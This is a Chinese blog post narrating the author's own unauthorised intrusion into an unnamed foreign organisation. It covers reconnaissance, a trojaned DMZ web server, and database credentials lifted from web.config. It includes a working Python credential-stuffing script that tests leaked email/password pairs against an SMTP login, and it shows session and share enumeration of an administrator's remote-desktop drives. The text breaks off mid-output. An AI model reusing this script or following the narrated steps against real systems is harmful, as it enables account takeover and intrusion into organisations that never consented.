[投稿]对某国的一次APT攻击过程

本文详述了一次针对某国目标的APT攻击过程,包括前期情报收集、Web服务器渗透、数据库信息获取、内网探测及后续挑战。作者通过耐心分析与技巧应用,逐步深入目标网络,展示了APT攻击的复杂性和隐蔽性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
写在之前的废话:小菜技术能力不行,如果你觉得此文实在看不下去,还请PASS掉。如果你对我的文章有兴趣,可以与我一起交流。文章因为敏感无图,业内人士看看自然懂。在这里感谢一下那位一直在我背后默默指导我的那位大牛,要不是你,就不会有今天我,借这这个平台向你衷声说句:谢谢你!

由于APT耗时长,需要的支持多,而且目标敏感。在这里,我们不便介绍目标背景,也不多说其他的,直接来进入主题。

某国某目标,我盯了它大概半年。嗯,终于有一天,我觉得时机成熟,下手吧。

在渗透目标的前期,我们需要了解对方公司的安全意识。以及需要搜集所有网站的IP,公司的出口,以及公司网段所存在的B-C段,公司人员邮箱,公司人员爱好,facebook等信息。

首先,我把目标公司的WEB都给搜集好了,大公司一般C段都是在一起的。而我有个习惯,在渗透目标的时候,先喜欢把OWA的段找出来扫一下。这样大概的就知道了公司的架构情况。而很多时候,大公司都是会把WEB段给区分的,哪几个外网IP段是管理WEB的,哪几个段是放数据库的。不过随着网络越趋复杂,就算拿到了WEB 也就是在DMZ徘徊。不过只要拿到了WEB就好说了。Go把。

千辛万苦拿下来了这个公司的一个WEB,WEB如何拿下来咱们不多说。不是重点。当我分析内网情况的时候,环境就是在DMZ,system权限。通过判断协议,TCP HTTP都没问题。于是,我把DMZ WEB给中了一个马,这样更容易操作,至少得到了一个交互式的shell。先把远控抛开不说,通过netstat -ano分析。WEB服务器连上了在内部的一台数据库服务器。于是我找到了WEB服务器的web.config脚本,成功得到了数据库账户密码,但是数据库账户权限非SA,而且SQL SERVER版本是2008(悲剧,MSSQL 2000的话直接就远程溢出了).没办法,就算我们导了个shell,又有何用?不着急,慢慢分析,于是我试着去ping内网数据库机器,PING不通,接着我在拿S扫描器开了很小的线程,扫了扫WEB连接的数据库那台机器。和我猜想的结果是一样,这种情况我不是第一次碰到了。就只有个1433能够过去。这时,我猜想大概的内网架构是这样的:

WEB–>防火墙–>数据库服务器–>内网(而当我搞下来,发现情况并不是这样的)

算了,没办法。先不管了,连上数据库,分析数据,看能否去撞号,登OWA或者邮箱之类的。

于是写了个PYTHON脚本,去跑他们的OWA(这个脚本是N年前写的,可能不太符合,大家去改改就好了。原理差不多):

import smtplib ,sys ,time

def main():

    server = "smtp.live.com" #gmail smtp.gmail.com, yahoo smtp.mail.yahoo.com

    fp = open("D:\python\\hotmail.txt")

    fp1 = open("d:\python\\save.txt", 'a+')

    while 1:

        line = fp.readline()

        uandp = line.split(' ')

        name = uandp[0]

        name = name.split('@')[0]

        pwd = uandp[1]

        pwd = pwd.split("\n")[0]

        try:

            smtp = smtplib.SMTP_SSL(server,465)  # gmail 465

        except:

            print "[*]Connect Error."

            sys.exit(0)

            pass

        try:

            #smtp.set_debuglevel(1)

            #smtp.ehlo()

            #smtp.starttls()

            smtp.ehlo()

            smtp.login(name,pwd)

        except:

            print "[-]:%s:%s" % (name, pwd)

            pass

            #time.sleep(1)

        else:

            out = "[+]:%s:%s\n" % (name, pwd)

            print out

            fp1.write(out)

            fp1.flush()

            smtp.quit()

        smtp.close()

    fp.close()

    fp1.close()

if __name__=="__main__":

main()

分析完数据,把数据库中的目标人物邮箱都给挑选出来。跑完。手工测试VPN,都失败了。没办法,继续另寻其他的路子。

来回到远控,通过分析,本机WEB有一个员工登录的地方,但是是.NET的。不能改代码。因为如果改写代码,需要重新编译(这里可能我说的有错。)但是有一个员工登录的地方我们就已经足够了,这里也先不管它。先分析再说。

我的远控是可以切换用户的,只要有用户在,可以切换到对方的用户下。首先分析了本地管理组的用户,抓密码。Query user 发现有几个用户在线。于是我切换到每个用户,主要就是查看IPC 。功夫不负有心人,当我切换到B的会话下的时候,NET USE看了看。大家猜我看到了啥?(可能你会想,咱们不是在DMZ吗?会话咋来的? 管理员从内网连过来。)

C:\ProgramData>net use

New connections will be remembered.

Status       Local     Remote                    Network

 

-------------------------------------------------------------------------------

                       \\TSCLIENT\C              Microsoft Terminal Services

                       \\TSCLIENT\D          
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值